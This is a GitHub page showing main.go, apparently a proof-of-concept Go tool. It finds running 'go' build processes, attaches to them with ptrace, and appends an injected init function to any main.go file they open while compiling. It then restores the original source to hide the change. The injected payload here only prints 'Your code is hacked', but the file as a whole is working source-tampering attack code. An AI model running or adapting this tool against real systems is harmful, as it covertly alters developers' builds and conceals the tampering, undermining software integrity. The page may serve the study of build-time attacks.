-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.go
285 lines (237 loc) · 5.52 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
package main
import "C"
import (
"fmt"
"io/ioutil"
"log"
"os"
"os/signal"
"runtime"
"strings"
"syscall"
ps "github.com/mitchellh/go-ps"
sec "github.com/seccomp/libseccomp-golang"
)
const hackerstring string = `
func init() {
fmt.Println("Your code is hacked")
}
`
type target struct {
pid int
cleanSource []byte
path string
proc os.Process
isPatched bool
}
type syscallTask struct {
ID uint64
Name string
}
func (t *target) detach() error {
err := syscall.PtraceDetach(t.pid)
if err != nil {
log.Printf("Error detaching, %v", err)
return err
}
return nil
}
func (t *target) patch() error {
log.Printf("Patching %s", t.path)
data, err := ioutil.ReadFile(t.path)
if err != nil {
log.Printf("Error Reading file %v", err)
return err
}
// add init function
f, err := os.OpenFile(t.path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("Error Opening File, %v", err)
return err
}
if _, err := f.WriteString(hackerstring); err != nil {
log.Printf("Error writing to file, %v", err)
}
t.cleanSource = data
return nil
}
func (t *target) clean() error {
if !t.isPatched {
return nil
}
log.Printf("Cleaning %s", t.path)
f, err := os.OpenFile(t.path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755)
if err != nil {
log.Printf("Error opening file %v", err)
return err
}
_, err = f.Write(t.cleanSource)
if err != nil {
log.Printf("Error writing file %v", err)
return err
}
err = f.Close()
if err != nil {
log.Printf("Error closing file %v", err)
return err
}
return nil
}
func (t *target) trace() error {
t.isPatched = false
runtime.LockOSThread()
var regs syscall.PtraceRegs
//wait Waiting state
var wsstatus syscall.WaitStatus
var err error
pid := t.proc.Pid
err = syscall.PtraceAttach(pid)
if err != nil {
fmt.Println(err)
return err
}
syscall.Wait4(pid, &wsstatus, 0, nil)
// If you exit abnormally , Then disconnect
defer func() {
// Yes PTRACE_DETACH Encapsulation , Disconnect from the tracker
err = syscall.PtraceDetach(pid)
if err != nil {
fmt.Println("PtraceDetach err :", err)
return
}
syscall.Wait4(pid, &wsstatus, 0, nil)
}()
for {
syscall.PtraceSyscall(pid, 0)
// Use wait system call , And pass in the waiting status pointer
_, err := syscall.Wait4(pid, &wsstatus, 0, nil)
if err != nil {
fmt.Println("line 501", err)
return err
}
if wsstatus.Exited() {
fmt.Println("------exit status", wsstatus.ExitStatus())
return nil
}
if wsstatus.StopSignal().String() == "interrupt" {
syscall.PtraceSyscall(pid, int(wsstatus.StopSignal()))
fmt.Println("send interrupt sig to pid ")
// Print tracee Exit code
fmt.Println("------exit status", wsstatus.ExitStatus())
return nil
}
err = syscall.PtraceGetRegs(pid, ®s)
if err != nil {
fmt.Println("PtraceGetRegs err :", err.Error())
return nil
}
name, _ := sec.ScmpSyscall(regs.Orig_rax).GetName()
if name == "openat" {
path, err := readString(pid, uintptr(regs.Rsi))
if err != nil {
fmt.Println("openat path error %v", err)
}
if strings.Contains(path, "main.go") {
t.path = path
fmt.Printf("Path: %s\n", t.path)
fmt.Printf("Name: %s\n", name)
if !t.isPatched {
err = t.patch()
}
if err != nil {
log.Printf("Error patching file, %v", err)
return err
}
t.isPatched = true
}
}
syscall.PtraceSyscall(pid, 0)
_, err = syscall.Wait4(pid, &wsstatus, 0, nil)
if err != nil {
fmt.Println("line 518", err)
return err
}
// If tracee sign out , Print the exit code of the process
if wsstatus.Exited() {
fmt.Println("------exit status", wsstatus.ExitStatus())
return nil
}
// ditto , Determine whether the process is interrupted by a signal
if wsstatus.StopSignal().String() == "interrupt" {
syscall.PtraceSyscall(pid, int(wsstatus.StopSignal()))
fmt.Println("send interrupt sig to pid ")
fmt.Println("------exit status", wsstatus.ExitStatus())
}
// Get the status of the returned register
err = syscall.PtraceGetRegs(pid, ®s)
if err != nil {
fmt.Println("PtraceGetRegs err :", err.Error())
return err
}
// Print the return value parameter stored in the register
//fmt.Println("syscall return:", regs.Rax)
}
}
func main() {
pids := []int{}
log.Printf("Starting")
targets := make(chan target, 1)
c := make(chan os.Signal)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
go func() {
<-c
os.Exit(1)
}()
go func() {
for {
activeTarget := <-targets
err := activeTarget.trace()
if err != nil {
log.Printf(err.Error())
} else {
activeTarget.clean()
}
}
}()
//find new targets
for {
procs, err := ps.Processes()
if err != nil {
log.Printf("Error finding procs: %v", err)
}
for _, proc := range procs {
if !contains(pids, proc.Pid()) {
if proc.Executable() == "go" {
process, err := os.FindProcess(proc.Pid())
if err != nil {
log.Printf("%v", err)
}
newTarget := target{
pid: proc.Pid(),
proc: *process,
}
pids = append(pids, proc.Pid())
log.Printf("New Active Target PID: %d", proc.Pid())
targets <- newTarget
}
}
}
}
}
func readString(pid int, addr uintptr) (string, error) {
data := make([]byte, 4096)
bytes_copied, _ := syscall.PtracePeekData(pid, addr, data)
if bytes_copied == 0 {
return "", fmt.Errorf("0-byte string returned")
}
str := C.GoString((*C.char)(C.CBytes(data)))
return str, nil
}
func contains(s []int, e int) bool {
for _, a := range s {
if a == e {
return true
}
}
return false
}